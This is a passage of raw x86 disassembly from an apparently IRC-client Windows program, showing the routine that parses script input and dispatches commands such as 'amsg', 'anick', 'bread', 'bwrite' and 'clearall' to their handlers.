push dword [ebp + 0x24]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 8]
call fcn.00479e2f
mov dword [edi], eax
push dword [ebp + 0x60]
call fcn.0041261f
test eax, eax
jne 0x4b27ca
push dword [ebp + 8]
call fcn.00412717
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
jne 0x4b27ca
mov eax, dword [0x55f25c]
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
je 0x4b60b0
mov edx, dword [ebp + 0x60]
mov ecx, dword [edx]
mov dword [ebp + 8], ecx
push dword [ebp + 8]
call fcn.0051fafa
test eax, eax
jne 0x4b27de
mov eax, dword [ebp + 0x60]
mov edx, dword [eax]
mov dword [ebp + 8], edx
cmp dword [ebp - 0xb8], 0
je 0x4b2800
push dword [ebp - 0xb8]
call fcn.00427d0e
test eax, eax
jne 0x4b2800
xor ecx, ecx
mov dword [ebp - 0x54], ecx
jmp 0x4b60b0
mov eax, dword [ebp + 0x60]
xor edx, edx
mov dword [eax + 0x1c8c], edx
cmp dword [edi], 0xffffffff
jne 0x4b281f
cmp dword [ebp - 0x30], 0
je 0x4b20c6
jmp 0x4b270c
mov ecx, dword [edi]
mov dword [ebp - 0x54], ecx
cmp dword [ebp - 0x54], 0
je 0x4b60b0
cmp dword [ebp - 0x30], 0
jne 0x4b1510
mov eax, dword [ebp + 0x24]
mov byte [eax], 0
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x4b291a
cmp dword [esi + 0x1c], 1
jne 0x4b290f
cmp dword [esi + 0xc], 0
jne 0x4b290f
push dword [ebp + 0x24]
call fcn.0054e28c
pop ecx
mov ebx, eax
push dword [esi]
call fcn.0054e28c
pop ecx
add ebx, eax
cmp ebx, 0x3b5
jbe 0x4b28d5
push 0x20
push dword [ebp + 0x24]
call fcn.0054e1ec
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x4b2890
mov byte [ebx], 0
push dword [ebp + 0x24]
call fcn.0054e28c
pop ecx
cmp eax, 0xa
jbe 0x4b28ae
mov eax, dword [ebp + 0x24]
add eax, 0xa
mov edi, eax
mov esi, 0x5690a2
mov eax, edi
movsd dword es:[edi], dword [esi]
push dword [ebp + 0x24]
push 0
push 0xd4a
call fcn.0042c771
push eax
push 0x5803c4
call sub.USER32.dll_wsprintfA
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
mov ecx, dword [ebp + 0x24]
cmp byte [ecx], 0
je 0x4b2902
cmp dword [esi + 0x20], 0
je 0x4b28f3
push 0x5690a7
push dword [ebp + 0x24]
call fcn.0054e1b0
add esp, 8
push dword [esi]
push dword [ebp + 0x24]
call fcn.0054e1b0
add esp, 8
jmp 0x4b290f
push dword [esi]
push dword [ebp + 0x24]
call fcn.0054e1b0
add esp, 8
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b2849
cmp dword [ebp - 0x60], 0
je 0x4b298c
cmp dword [ebp - 0x64], 0
je 0x4b292f
push dword [ebp - 0x64]
call fcn.00559c5c
pop ecx
push dword [ebp + 0x24]
call fcn.0054e28c
pop ecx
add eax, 0xa
push eax
call fcn.00559d70
pop ecx
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x4b2963
push 2
push 0x5690aa
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp + 0x24]
push edi
mov esi, eax
mov edi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
lea eax, [ebp + 0x2c]
push eax
lea edx, [ebp - 0x6c]
push edx
push dword [ebp + 0x24]
call fcn.004e5454
mov ebx, eax
cmp byte [ebx], 0
je 0x4b6047
xor eax, eax
mov al, byte [ebx]
push eax
call fcn.00556298
pop ecx
cmp eax, 0x72
jne 0x4b29d2
push 0xc
push 0x5690b3
push ebx
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne 0x4b29d2
mov dword [ebp - 0x6c], 1
cmp dword [ebp + 0x18], 0x3e8
jle 0x4b29e5
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
cmp dword [ebp - 0x6c], 0
je 0x4b29ef
xor esi, esi
jmp 0x4b29ff
push dword [ebp + 0x4c]
push dword [ebp + 0x20]
push dword [ebp + 0x24]
call fcn.00426cd4
mov esi, eax
test esi, esi
je 0x4b2f0d
cmp esi, dword [ebp + 0x28]
je 0x4b2f0d
cmp dword [ebp - 0xb8], 0
je 0x4b2a32
push dword [ebp - 0xb8]
call fcn.00427d0e
test eax, eax
jne 0x4b2a32
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
cmp dword [ebp - 0x60], 0
je 0x4b2a7a
lea edx, [ebp - 0x60]
push edx
lea ecx, [ebp - 0x50]
push ecx
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x64]
push dword [ebp + 0x20]
push dword [ebp + 0x24]
push dword [ebp - 0x84]
push 0
call fcn.0044f7c1
test eax, eax
je 0x4b6047
push dword [ebp + 0x4c]
push dword [ebp + 0x20]
push dword [ebp + 0x24]
call fcn.00426cd4
mov esi, eax
test esi, esi
je 0x4b60b0
cmp dword [esi + 0x28], 0
je 0x4b2aa1
push dword [esi + 0x28]
call fcn.00427d80
test eax, eax
jne 0x4b2a96
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov edx, dword [esi + 0x28]
mov dword [ebp - 0xd8], edx
jmp 0x4b2aaa
mov ecx, dword [ebp + 0x4c]
mov dword [ebp - 0xd8], ecx
mov ebx, dword [esi]
jmp 0x4b2aaf
inc ebx
cmp byte [ebx], 0x20
je 0x4b2aae
cmp byte [ebx], 0
je 0x4b6047
cmp byte [ebx], 0x61
je 0x4b2ac7
cmp byte [ebx], 0x41
jne 0x4b2b13
push 6
push 0x5690c1
push ebx
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne 0x4b2b13
add ebx, 6
jmp 0x4b2ae1
inc ebx
cmp byte [ebx], 0x20
je 0x4b2ae0
cmp byte [ebx], 0
je 0x4b2b0a
push 3
push 0x5690c9
push ebx
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne 0x4b2b0a
add ebx, 3
jmp 0x4b2b05
inc ebx
cmp byte [ebx], 0x20
je 0x4b2b04
cmp byte [ebx], 0
je 0x4b6047
mov dword [ebp - 0x94], ebx
mov eax, dword [ebp - 0x94]
cmp byte [eax], 0x2f
jne 0x4b2b2a
inc dword [ebp - 0x94]
mov edx, dword [ebp - 0x94]
cmp byte [edx], 0x68
jne 0x4b2b68
mov ecx, dword [ebp - 0x94]
cmp byte [ecx + 1], 0x6f
jne 0x4b2b68
mov eax, dword [ebp - 0x94]
cmp byte [eax + 2], 0x70
jne 0x4b2b68
push str.hop__part____join___1
push dword [ebp - 0x94]
call fcn.0054e450
add esp, 8
test eax, eax
je 0x4b2f0d
push 0x20
push ebx
call fcn.0054e1ec
add esp, 8
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
je 0x4b6047
jmp 0x4b2b8e
inc dword [ebp - 0x94]
mov edx, dword [ebp - 0x94]
cmp byte [edx], 0x20
je 0x4b2b88
mov ecx, dword [ebp - 0x94]
cmp byte [ecx], 0
je 0x4b6047
push 0x20
push dword [ebp + 0x24]
call fcn.0054e1ec
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x4b2bc3
jmp 0x4b2bbe
inc ebx
cmp byte [ebx], 0x20
je 0x4b2bbd
test ebx, ebx
je 0x4b2c31
cmp byte [ebx], 0
je 0x4b2c31
push ebx
call fcn.0054e28c
pop ecx
add eax, 0xa
push eax
call fcn.00559d70
pop ecx
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x4b2c04
push 2
push str.parameter
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov eax, dword [ebp - 0x8c]
push esi
push edi
mov esi, eax
mov edi, ebx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
jmp 0x4b2c39
xor eax, eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp + 0x14], 0
jne 0x4b2c47
mov dword [edi], 1
jmp 0x4b2c4c
mov edx, dword [ebp + 0x14]
mov dword [edi], edx
mov ecx, dword [ebp - 0x94]
cmp byte [ecx], 0x7b
jne 0x4b2da6
inc dword [ebp - 0x94]
jmp 0x4b2c69
inc dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
cmp byte [eax], 0x20
je 0x4b2c63
mov edx, dword [ebp - 0x94]
cmp byte [edx], 0
je 0x4b2d32
push 0
push dword [ebp - 0x94]
push 0
call fcn.004c6a18
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4b2cc8
cmp dword [ebp - 0x8c], 0
je 0x4b2cb0
push dword [ebp - 0x8c]
call fcn.00559c5c
pop ecx
push 2
push 0x5690f3
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov ecx, dword [esi + 0x40]
mov eax, dword [ebp - 4]
mov dword [eax + 0x40], ecx
push dword [ebp + 0x60]
push dword [ebp + 0x5c]
push dword [ebp + 0x58]
push dword [ebp + 0x54]
push dword [ebp + 0x50]
push dword [ebp - 0xd8]
push esi
push 0
push 0
push 1
push 0
push dword [ebp + 0x34]
push 0
push dword [ebp + 0x2c]
push esi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
mov edx, dword [ebp + 0x18]
inc edx
push edx
push dword [edi]
push dword [ebp - 0x8c]
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.004b08ad
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 4]
xor eax, eax
mov dword [ecx + 0x40], eax
lea edx, [ebp - 4]
push edx
call fcn.004c6e49
jmp 0x4b2e3f
cmp dword [esi + 0x40], 0
jne 0x4b2d56
cmp dword [ebp - 0x8c], 0
je 0x4b6047
push dword [ebp - 0x8c]
call fcn.00559c5c
pop ecx
jmp 0x4b6047
push dword [ebp + 0x60]
push dword [ebp + 0x5c]
push dword [ebp + 0x58]
push dword [ebp + 0x54]
push dword [ebp + 0x50]
push dword [ebp - 0xd8]
push esi
push 0
push 0
push 1
push 0
push dword [ebp + 0x34]
push 0
push dword [ebp + 0x2c]
push esi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
inc ecx
push ecx
push dword [edi]
push dword [ebp - 0x8c]
push dword [esi + 0x40]
push dword [ebp + 8]
call fcn.004b08ad
mov dword [ebp - 0x54], eax
jmp 0x4b2e3f
push 0
push dword [ebp - 0x94]
push 0
call fcn.004c6a18
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4b2deb
cmp dword [ebp - 0x8c], 0
je 0x4b2dd3
push dword [ebp - 0x8c]
call fcn.00559c5c
pop ecx
push 2
push 0x5690fc
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
push dword [ebp + 0x60]
push dword [ebp + 0x5c]
push dword [ebp + 0x58]
push dword [ebp + 0x54]
push dword [ebp + 0x50]
push dword [ebp - 0xd8]
push esi
push 0
push 0
push 1
push 0
push dword [ebp + 0x34]
push 0
push dword [ebp + 0x2c]
push esi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
mov eax, dword [ebp + 0x18]
inc eax
push eax
push dword [edi]
push dword [ebp - 0x8c]
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.004b08ad
mov dword [ebp - 0x54], eax
lea edx, [ebp - 4]
push edx
call fcn.004c6e49
cmp dword [ebp - 0x8c], 0
je 0x4b2e54
push dword [ebp - 0x8c]
call fcn.00559c5c
pop ecx
cmp dword [ebp - 0x54], 0
je 0x4b60b0
cmp dword [ebp - 0x54], 2
je 0x4b60b0
cmp dword [ebp - 0x54], 3
jne 0x4b2ef4
mov dword [ebp - 0x54], 1
cmp dword [ebp - 0x78], 0
je 0x4b2e88
push dword [ebp - 0x78]
call fcn.00559c5c
pop ecx
xor ecx, ecx
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp + 0x24]
cmp byte [eax], 0
je 0x4b2ef4
push dword [ebp + 0x24]
call fcn.0054e28c
pop ecx
add eax, 0xa
push eax
call fcn.00559d70
pop ecx
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x4b2ec9
push 2
push 0x569105
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp + 0x24]
push esi
push edi
mov esi, edx
mov edi, ecx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
cmp dword [ebp - 0x60], 0
je 0x4b6047
cmp dword [ebp - 0x68], 0
jg 0x4b2a10
jmp 0x4b6047
push 0x20
push dword [ebp + 0x24]
call fcn.004e570f
add eax, 5
mov dword [edi], eax
cmp dword [ebp - 0x7c], 0
je 0x4b2f2b
push dword [ebp - 0x7c]
call fcn.00559c5c
pop ecx
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00559d70
pop ecx
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x4b2f58
push 2
push 0x56910e
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov edx, dword [ebp + 0x24]
cmp byte [edx], 0x73
je 0x4b2f68
mov ecx, dword [ebp + 0x24]
cmp byte [ecx], 0x53
jne 0x4b2f8e
push 4
push str.set
push dword [ebp + 0x24]
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne 0x4b2f87
mov dword [ebp - 0x4c], 1
jmp 0x4b2f93
xor eax, eax
mov dword [ebp - 0x4c], eax
jmp 0x4b2f93
xor edx, edx
mov dword [ebp - 0x4c], edx
xor esi, esi
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x98], eax
mov ebx, eax
jmp 0x4b3008
push 0x20
push dword [ebp - 0x98]
call fcn.0054e1ec
add esp, 8
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jne 0x4b2fca
mov eax, dword [ebp - 0x7c]
mov dword [eax + esi*4], ebx
inc esi
jmp 0x4b300d
mov edx, dword [ebp - 0x94]
mov byte [edx], 0
mov ecx, dword [ebp - 0x7c]
mov dword [ecx + esi*4], ebx
inc esi
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x98], eax
mov ebx, eax
jmp 0x4b2ff1
inc dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
cmp byte [eax], 0x20
je 0x4b2feb
cmp dword [ebp - 0x4c], 0
jne 0x4b3008
mov ebx, dword [ebp - 0x98]
cmp byte [ebx], 0
jne 0x4b2fa2
cmp esi, dword [edi]
jge 0x4b301e
mov eax, dword [ebp - 0x7c]
xor edx, edx
mov dword [eax + esi*4], edx
inc esi
cmp esi, dword [edi]
jl 0x4b3011
mov ecx, dword [ebp - 0x7c]
cmp dword [ecx], 0
je 0x4b6047
lea eax, [ebp + 0x2c]
push eax
lea edx, [ebp - 0x6c]
push edx
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.004e5454
mov edx, dword [ebp - 0x7c]
mov dword [edx], eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
cmp byte [ecx], 0
je 0x4b6047
cmp dword [ebp - 0x60], 0
je 0x4b3080
lea eax, [ebp - 0x60]
push eax
lea edx, [ebp - 0x50]
push edx
lea ecx, [ebp - 0x68]
push ecx
push dword [ebp - 0x64]
push dword [ebp + 0x20]
push dword [ebp + 0x24]
push dword [ebp - 0x84]
push dword [ebp - 0x7c]
call fcn.0044f7c1
test eax, eax
je 0x4b6047
cmp dword [ebp - 0xb0], 0
je 0x4b3096
mov eax, dword [ebp + 0x60]
xor edx, edx
mov dword [eax + 0x1c8c], edx
jmp 0x4b30a2
mov ecx, dword [ebp + 0x60]
mov eax, dword [ebp + 0x34]
mov dword [ecx + 0x1c8c], eax
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.00556250
pop ecx
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx]
xor edx, edx
mov dl, byte [eax]
push edx
call fcn.00556298
pop ecx
add eax, 0xffffff9f
cmp eax, 0x17
ja case.0x4b30c9.107
jmp dword [eax*4 + 0x4b30d0]
push str.action
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3168
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044ec78
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.abook
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b319a
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004570aa
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.ajinvite
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b31c6
push dword [ebp + 0x2c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004428c4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569136
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b31f8
push dword [ebp + 0x2c]
push dword [ebp + 0x14]
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044295e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.aline
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b322c
push dword [ebp + 0x60]
push 0
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044c106
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569144
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3269
push dword [ebp + 0x60]
push 1
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x24]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00442f5e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.amsg
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b32a6
push dword [ebp + 0x60]
push 0
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x24]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00442f5e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.anick
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b32db
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044fa16
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569156
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3315
push dword [ebp + 0x60]
push 0
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.004439e4
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x56915d
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b334d
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044328e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.auto
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3385
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.0044328e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.avoice
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00443c2f
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.beep
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b33e7
push dword [ebp - 0x7c]
call fcn.00444e7e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.background
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b341c
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00444385
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x569182
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3451
push dword [ebp + 0x60]
push dword [ebp - 0x58]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00444bd7
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.bcopy
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b347c
push 1
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.0042b1b8
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.bread
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b34a8
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0042aabb
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.breplace
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b34d1
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.0042b9b2
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.break
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b36d3
push 0x5691a6
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b350d
mov dword [ebp - 0xdc], 1
jmp 0x4b3515
xor edx, edx
mov dword [ebp - 0xdc], edx
mov esi, dword [ebp - 0x38]
test esi, esi
je 0x4b352a
mov dword [esi + 0x20], 1
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b351c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4b5fa6
mov esi, dword [ebp - 0x38]
test esi, esi
je 0x4b36b6
cmp dword [esi + 0x20], 0
je 0x4b36ab
mov eax, dword [esi + 0x2c]
cmp eax, dword [ebp - 4]
jne 0x4b3696
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x18]
jne 0x4b3574
cmp dword [ebp - 0x20], 0
je 0x4b3574
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 4], eax
jmp 0x4b35c4
lea edx, [ebp - 0x1c]
push edx
call fcn.004c6e49
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
push dword [edx + 0x24]
push edi
push dword [ebp + 0x24]
mov ecx, dword [ebp - 0x18]
push dword [ecx]
call fcn.004e5f99
mov dword [ebp - 0x1c], eax
cmp dword [edi], 0
jne 0x4b35ae
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
cmp dword [ebp - 0x1c], 0
je 0x4b3668
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x4b365e
mov eax, dword [ebp - 4]
cmp dword [eax + 0x24], 0xfffffc19
je 0x4b35e5
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x24]
cmp ecx, dword [esi + 0x24]
jne 0x4b364b
push 0x5691b0
mov eax, dword [ebp - 4]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b364b
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x40]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0xdc], 0
je 0x4b363c
mov eax, dword [esi + 0x30]
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x1c]
push edx
call fcn.004c6e49
xor ecx, ecx
mov dword [ebp - 0x20], ecx
push esi
push dword [ebp - 0x38]
call fcn.004c6d5e
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [eax + 0xc], 1
jmp 0x4b0c8c
cmp dword [ebp - 0x20], 0
jne 0x4b0c8c
jmp 0x4b6047
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x40]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x4b35ce
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
cmp dword [ebp - 0xdc], 0
je 0x4b6047
mov edx, dword [esi + 0x30]
mov dword [ebp - 0x18], edx
push esi
push dword [ebp - 0x38]
call fcn.004c6d5e
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov dword [ecx + 0xc], 2
jmp 0x4b0c8c
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x18]
je 0x4b36ab
mov edx, dword [esi + 0x30]
cmp edx, dword [ebp - 4]
jne 0x4b36ab
xor ecx, ecx
mov dword [esi + 0x20], ecx
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b3545
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x40]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x4b353a
jmp 0x4b5fa6
push str.bset
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b36fe
push 0
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.0042b1b8
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.btrunc
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3727
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0042b0bf
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.bunset
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b3750
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
call fcn.0042b95b
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.bwrite
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne case.0x4b30c9.107
push dword [ebp + 0x38]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
call fcn.0042ae1e
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push 0x5691d1
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b37b5
push dword [ebp + 0x60]
push dword [ebp + 0x2c]
push dword [ebp + 0x1c]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00444f46
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.clear
mov edx, dword [ebp - 0x7c]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b37e9
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push 0
push dword [ebp + 0x20]
push dword [ebp - 0x7c]
push dword [ebp + 8]
call fcn.00445190
mov dword [ebp - 0x54], eax
jmp 0x4b5fa6
push str.clearall
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b381d
push dword [ebp + 0x60]
push dword [ebp + 0x34]
push 1
